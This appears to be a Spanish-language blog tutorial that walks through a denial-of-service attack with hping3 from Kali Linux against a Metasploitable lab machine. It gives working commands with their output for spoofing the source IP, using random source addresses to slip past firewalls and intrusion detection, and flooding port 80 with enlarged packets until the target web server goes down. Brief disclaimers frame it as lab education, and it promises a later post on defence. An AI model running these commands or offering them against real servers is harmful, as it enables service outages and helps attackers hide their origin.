El otro día explique como hacer un ataque de denegación de servicio con la herramienta de synflood en Metasploit en esta entrada Ataque Syn Flooding con Metasploit.
Parece que ha interesado bastante el tema de los ataques DDOS, por eso mismo voy a explicarlo como realizar este tipo de ataques con otra herramienta llamada HPING3.
[IMPORTANTE]
Esta guía ha sido creada para fines éticos de investigación, información y educativos. En ningún momento no nos responsabilizamos del uso que se de fuera del laboratorio de pruebas.
[IMPORTANTE]
Voy a realizar la prueba con las siguientes maquinas virtuales:
Kali Linux: Descarga
Metasploiteable: Descarga
Una vez montadas las maquinas virtuales, vamos a jugar un poco con nuestra herramienta HPING3.
Lo primero que debemos saber las IP de cada maquina virtual (En mi caso es el siguiente):
Kali Linux: 192.168.50.131
Metasploiteable: 192.168.50.128
Ejecutamos el comando HPING3 en Kali Linux hacia nuestra víctima (Metasploiteable) para ver si responde correctamente.
comandoit@comandoit:~# hping3 192.168.50.128 HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=8.6 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=8.1 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=15.1 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=3 win=0 rtt=12.1 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=4 win=0 rtt=5.9 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=5 win=0 rtt=7.8 ms
Como podemos observar esta enviando las peticiones correctamente al servidor víctima.
En Wireshark podemos ver como nos responde también el servidor y las peticiones que le realizamos.
Ahora vamos a hacer IP Spoofing: que es simplemente hacernos pasar por otra IP.
Ejecutamos el comando HPING3 con la variable -a.
comandoit@comandoit:~# hping3 -a 10.10.10.50 192.168.50.128 HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=54 win=0 rtt=8.0 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=55 win=0 rtt=2.3 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=56 win=0 rtt=2.4 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=57 win=0 rtt=9.4 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=58 win=0 rtt=5.8 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=59 win=0 rtt=5.4 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=60 win=0 rtt=3.5 ms len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=61 win=0 rtt=11.7 ms
En Wireshark podemos ver las siguientes peticiones:
(IP Spoofing Kali Linux) 10.10.10.50 –> (IP Víctima) 192.168.50.128.
(IP Víctima)192.168.50.128 –> (IP Spoofing Kali Linux) 10.10.10.50
Como podéis ver ya tenemos nuestra IP oculta haciendo peticiones al servidor víctima.
Todas las peticiones anteriores que hemos realizado, son peticiones que un Firewall o un IDS puede detectar y bloquear debido a que son peticiones de 1 segundo al puerto 80.
Para saltarnos el Firewall o un IDS:
Ejecutamos el siguiente comando de HPING con la variable –rand-source.
comandoit@comandoit:~# hping3 --rand-source 192.168.50.128 -p 80 HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes
Esta variable del comando, lo que hace es enviar paquetes a nuestro equipo victima desde IP aleatorias.
Desde el Wireshark se ven perfectamente como se realizan estas peticiones con el filtro:
ip.dst==(IP Víctima)
El problema de estas peticiones que hacemos desde HPING3, son un tamaño de 54 KB que es muy difícil colapsar el servidor víctima.
Después de todo los pasos anteriores, vamos a realizar el ataque de denegación de servicio.
Vamos a alterar el tamaño de los paquetes y los paquetes por segundo que podemos mandar a nuestra victima.
Ejecutamos el comando de HPING3 con la variable –rand-source -d 500 192.168.50.128 -p 80 –faster
comandoit@comandoit:~# hping3 --rand-source -d 500 192.168.50.128 -p 80 --faster HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 500 data bytes
En Wireshark podremos observar que se le envían muchas peticiones, pero no se llega a tumbar la web del servidor víctima.
Ahora vamos a tumbar totalmente el servidor víctima con el comando de HPING3 con la variable –rand-source -d 500 192.168.50.128 -p 80 –flood
comandoit@comandoit:~# hping3 --rand-source -d 500 192.168.50.128 -p 80 --flood PING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 500 data bytes hping in flood mode, no replies will be shown
El modo Flood envía paquetes lo mas rápido posible y no nos envía respuesta de si han llegado. En este punto he intentado seguir los paquetes con Wireshark, pero la aplicación no lo soporta.
Pero en el servidor víctima podemos ver el resultado de este ataque:
Si intentamos navegar hacia la web del servidor víctima, podemos ver como esta caída la pagina web:
[IMPORTANTE]
Esta guía ha sido creada para fines éticos de investigación, información y educativos. En ningún momento no nos responsabilizamos del uso que se de fuera del laboratorio de pruebas.
[IMPORTANTE]
En otra entrada, os enseñare como defenderos de estos tipos de ataque.
Para poder defenderte debes saber como ataca tu enemigo.